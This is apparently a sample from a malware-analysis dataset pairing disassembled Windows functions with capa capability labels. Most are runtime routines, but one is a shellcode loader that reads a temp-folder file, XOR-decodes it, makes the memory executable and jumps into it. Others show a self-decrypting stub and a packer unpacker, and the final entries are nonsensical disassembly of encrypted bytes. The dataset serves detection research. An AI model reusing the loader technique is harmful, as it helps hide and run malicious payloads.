joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408131
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x408170
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x408170
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x408170
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x408170
cmp dword [ecx + 0x74], 0xe
jbe 0x408170
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d182
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00423b10
mov eax, dword [0x42f140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0040c5f2
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x40d1c4
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x40d320
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00407520
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x430ea8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00419af0
mov ecx, dword [esi*4 + 0x430ea8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x40d319
cmp eax, dword [ecx + edi + 0x24]
jne 0x40d319
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40d319
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00419af0
add esp, 0x14
test edx, edx
jl 0x40d319
jg 0x40d28f
test eax, eax
jb 0x40d319
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x40d319
jl 0x40d2a9
cmp dword [ebp - 0x1008], eax
ja 0x40d319
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x40d2c7
test ebx, ebx
je 0x40d300
cmp ecx, edi
jae 0x40d300
mov al, byte [ecx]
cmp al, 0xd
jne 0x40d2e1
lea eax, [edi - 1]
cmp ecx, eax
jae 0x40d2ed
cmp byte [ecx + 1], 0xa
jne 0x40d2ed
inc ecx
jmp 0x40d2ed
movzx eax, al
movsx eax, byte [eax + 0x42f388]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x40d2c7
cmp edx, ebx
jne 0x40d2c7
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x40d31e
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00407506
leave
ret

Function at 0x4164ca
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041644c
Function at 0x41706a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x428e58
push 0x428e50
push str.FlsAlloc
push 0x1f
call fcn.00416ea6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41709e
push dword [ebp + 8]
mov ecx, esi
call dword [0x4251a4]
call esi
jmp 0x4170a4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4170e8
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x428e68
push 0x428e60
push str.FlsGetValue
push 0x21
call fcn.00416ea6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41711f
push dword [ebp + 8]
mov ecx, esi
call dword [0x4251a4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x417127
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x428e70
push 0x428e68
push str.FlsSetValue
push 0x22
call fcn.00416ea6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x417161
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4251a4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x418c14
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x430ea8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x418c54
cmp byte [ebx], 0xa
jne 0x418c54
or byte [edi + eax + 0x28], 4
jmp 0x418c59
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x418d58
mov dl, byte [eax]
cmp dl, 0x1a
je 0x418d3b
inc eax
cmp dl, 0xd
je 0x418c85
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x418cab
cmp eax, ecx
jae 0x418cb9
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x418c6d
jmp 0x418d58
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x418d36
cmp dword [ebp - 0x10], 0
je 0x418d36
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x430ea8]
test byte [eax + edi + 0x28], 0x48
je 0x418d10
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x418cfb
mov byte [esi], dl
jmp 0x418d0c
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x430ea8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x418d58
cmp byte [ebp - 1], 0xa
jne 0x418d1f
cmp esi, ebx
jne 0x418d1f
mov byte [esi], 0xa
jmp 0x418d57
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00419b0e
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x418d58
mov byte [esi], 0xd
jmp 0x418d57
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x430ea8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x418d55
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x418d58
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x418d61
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x430ea8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x418da7
cmp word [ebx], dx
jne 0x418da7
or byte [eax + edi + 0x28], 4
jmp 0x418dac
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x418f0f
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x418eef
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x418ded
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x418e23
cmp eax, edx
jae 0x418e31
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x418dc8
jmp 0x418f0f
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x418eea
cmp dword [ebp - 0x18], 0
je 0x418eea
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x430ea8]
test byte [eax + edi + 0x28], 0x48
je 0x418ec0
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x418e84
mov word [esi], cx
jmp 0x418ebb
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x430ea8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x430ea8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x430ea8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x418f0f
pop eax
cmp word [ebp - 4], ax
jne 0x418ed0
cmp esi, ebx
jne 0x418ed0
mov word [esi], ax
jmp 0x418f0c
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00419b0e
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x418f0f
push 0xd
pop eax
jmp 0x418ecb
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x430ea8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x418f09
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x418f0f
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41c7b6
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41c853
push ebx
push esi
call fcn.0041c77f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041c713
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41c800
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41c852
push edi
push eax
call fcn.00414f3d
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41c820
call fcn.00414e35
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41c851
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041c713
add esp, 0x20
test eax, eax
jne 0x41c83f
push edi
call fcn.00414e35
jmp 0x41c847
push ebx
call fcn.00414e35
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41c856
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x41c867
pop esi
ret
push ebx
push edi
push esi
call fcn.0041c77f
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00414f3d
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x41c88f
push ebx
push esi
push edi
call fcn.00408340
add esp, 0xc
push 0
call fcn.00414e35
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x41cfe9
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041cb04
Function at 0x4223a1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0042231d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x422510
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x422510
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4224c5
jg 0x4223fd
test eax, eax
je 0x4224bb
push 1
push 0x1000
call fcn.00414dd8
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x422420
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4224b2
push 0x8000
push ebx
call fcn.00413986
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x422449
jg 0x422444
cmp ecx, 0x1000
jb 0x422449
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0041a456
add esp, 0x10
cmp eax, 0xffffffff
je 0x42248e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x422444
jl 0x422475
test ecx, ecx
jne 0x422436
push dword [ebp - 0xc]
push ebx
call fcn.00413986
push esi
call fcn.00414e35
add esp, 0xc
xor ebx, ebx
jmp 0x42251e
cmp byte [edi + 0x24], 0
je 0x4224a5
cmp dword [edi + 0x20], 5
jne 0x4224a5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4224b0
mov ebx, dword [edi + 0x18]
jmp 0x4224b2
xor ebx, ebx
push esi
call fcn.00414e35
pop ecx
jmp 0x42251e
test ecx, ecx
jg 0x422487
jl 0x4224c5
test eax, eax
jae 0x422487
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00419b0e
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4224e5
cmp byte [edi + 0x1c], 0
je 0x422487
jmp 0x422516
push ebx
call fcn.00412731
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x422487
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x42251e
cmp byte [edi + 0x1c], 0
je 0x42251b
mov ebx, dword [edi + 0x18]
jmp 0x42251e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00419b0e
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x423950
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42397d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42397d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x403180
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4040d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x4075a8]
test eax, eax
jne 0x40322b
push esi
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::CString_1
push 0x104
push 0x104
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str.winhlp32.exe
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::operator
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x403212
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x403212
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [0x4075a8], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 4]
mov dword [esp + 0x10], 0xffffffff
call fcn.00403826
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x403240
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4032a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret

Function at 0x4034b0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
push ebx
mov ebx, dword [esp + 0x214]
push ebp
mov ebp, dword [esp + 0x214]
push esi
push edi
push ebx
push 0
push 0
push ebp
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40359b
lea eax, [esp + 0x10]
push eax
push str..htm
push 0x80000000
call fcn.00403240
add esp, 0xc
test eax, eax
jne 0x40359b
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x10]
push str._shellopencommand
push ecx
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x10]
push edx
push eax
push 0x80000000
call fcn.00403240
add esp, 0xc
test eax, eax
jne 0x40359b
lea ecx, [esp + 0x10]
push str.__1_
push ecx
call dword [sym.imp.MSVCRT.dll__mbsstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x403575
lea edx, [esp + 0x10]
push 0x40749c
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x403575
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x403578
mov byte [esi], 0
push 0x407498
push esi
call edi
push ebp
push esi
call edi
lea ecx, [esp + 0x10]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
Function at 0x401b33
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x433014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
xor ebx, ebx
push ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, 0x104
lea eax, [ebp - 0x20c]
push esi
push ebx
push eax
call fcn.00408040
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push esi
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.00408040
add esp, 0xc
mov ecx, ebx
mov al, byte [ebp + ecx - 0x20c]
mov byte [ebp + ecx - 0x108], al
inc ecx
test al, al
jne 0x401b90
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401baa
mov esi, str.SFMMK_COMMON.bin
lea eax, [ebp - 0x108]
push 0x43040c
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.0040b238
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x401cc9
push 2
push ebx
push esi
call fcn.0040b621
push esi
call fcn.0040ae9a
mov ebx, eax
push ebx
call fcn.0040615c
push esi
mov edi, eax
call fcn.0040ca43
push esi
push ebx
push 1
push edi
call fcn.0040ce0b
add esp, 0x28
push esi
test eax, eax
jne 0x401c1e
call fcn.0040b2c6
push edi
call fcn.00405f1e
pop ecx
pop ecx
push 0
jmp 0x401cca
call fcn.0040b2c6
push ebx
call fcn.0040d153
pop ecx
pop ecx
mov ecx, eax
mov dword [ebp - 0x210], ecx
test ecx, ecx
je 0x401c4a
push ebx
push ecx
mov edx, ebx
mov ecx, edi
call fcn.00401a55
pop ecx
pop ecx
mov ecx, dword [ebp - 0x210]
xor eax, eax
test ebx, ebx
je 0x401c59
xor byte [eax + ecx], 0xbe
inc eax
cmp eax, ebx
jb 0x401c50
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualAlloc
push str.kernel32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 4
push 0x1000
push ebx
push 0
call eax
push ebx
push dword [ebp - 0x210]
mov dword [0x434c80], eax
push eax
call fcn.00407530
add esp, 0xc
push str.VirtualProtect
push str.kErnEl32.DLl
call edi
push eax
call esi
push 0x434c84
push 0x40
push ebx
push dword [0x434c80]
call eax
call dword [0x434c80]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405f0d
leave
ret
push ebx
call fcn.0040b160
int3

Function at 0x415bf8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00415a6e
Function at 0x40b440
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x408015
lea edi, [esi - 0x7015]
push edi
or ebp, 0xffffffff
jmp 0x40b462
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40b469
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40b458
mov eax, 1
add ebx, ebx
jne 0x40b47b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40b470
jne 0x40b48c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b470
xor ecx, ecx
sub eax, 3
jb 0x40b4a0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40b512
mov ebp, eax
add ebx, ebx
jne 0x40b4ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40b4b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40b4dc
inc ecx
add ebx, ebx
jne 0x40b4c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40b4bd
jne 0x40b4d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b4bd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40b4fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40b4ed
jmp 0x40b45e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40b4fc
add edi, ecx
jmp 0x40b45e
pop esi
mov edi, esi
mov ecx, 0x43
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40b51a
cmp byte [edi], 1
jne 0x40b51a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40b51f
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x40b58e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xba84]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbafc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40b54c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbb00]
or eax, eax
je 0x40b588
mov dword [ebx], eax
add ebx, 4
jmp 0x40b569
call dword [esi + 0xbb04]
popal
jmp 0x4011cb
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x5d79c7
Capabilities:
Encode data using xor

Disassembly:
cmp byte [edx + 0x68], al
retf 0x2ce3
lds esi, [eax]
xchg edi, eax
mov esp, 0x811c18be
pop edi
invalid
mov esp, 0xd955610b
inc ebp
insd dword es:[edi], dx
cdq
jno 0x5d793b
sbb byte [eax], dh
movsd dword es:[edi], dword [esi]
jl 0x5d7987
xor byte [ebp - 0x77942b84], ah
pop ebp
loopne 0x5d7a03
imul ecx, dword [eax - 0x4fb41fa3], 0xffffffb6
mov al, 0xb6
jno 0x5d79a3
pushfd
cld
mov ah, 0xac
sbb cl, byte [eax - 0x617fec62]
sbb dword [0x46372cb4], 0x10
sbb eax, 0x46372cb4
adc byte [ebp - 0x300185d8], ah
sbb eax, 0x46372cb4
adc byte [ebp - 0x300185d8], ah
movsb byte es:[edi], byte [esi]
lahf
fsubr qword [ebp - 0x3d]
pop ebp
loopne 0x5d79af
dec esi
sbb dword [esi], 0xffffffc7
push ebx
shr byte [ebp + 0x55], 0xcd
fnsave dword [edi]
dec edx
inc edi
xchg esp, eax
and dword [ebp - 0x72db52fe], edi
push edi
into
xchg dword [ebp + 0x68], ebx
xor byte [0x185ddeb3], 0xe8
sub eax, 0x507e98f9
pop ds
push edx
test dword [eax + 0x43a6de6d], 0x40bc3340
insd dword es:[edi], dx
fisub word [esi - 0x43ccbfbd]
inc eax
dec ebp
dec eax
xor byte [ebx*8 - 0x40eb8218], cl
rcl esi, 8
popal
xor eax, 0xa44dcfc8
jmp [edi + 0x51]

Function at 0x5e8937
Capabilities:
Encode data using xor

Disassembly:
sar dword [ebx + 0x16ffa0be], 1
sbb dword [edi + 0x78df066d], ebx
mov eax, 0x4f401e53
mov eax, 0xf8ed63c5
stc
pop eax
rcr dword [eax + 0x52e8be95], 3
ficomp word [edx + 0x1f1fffb7]
push ecx
xlatb
in al, dx
jecxz 0x5e89da
invalid
invalid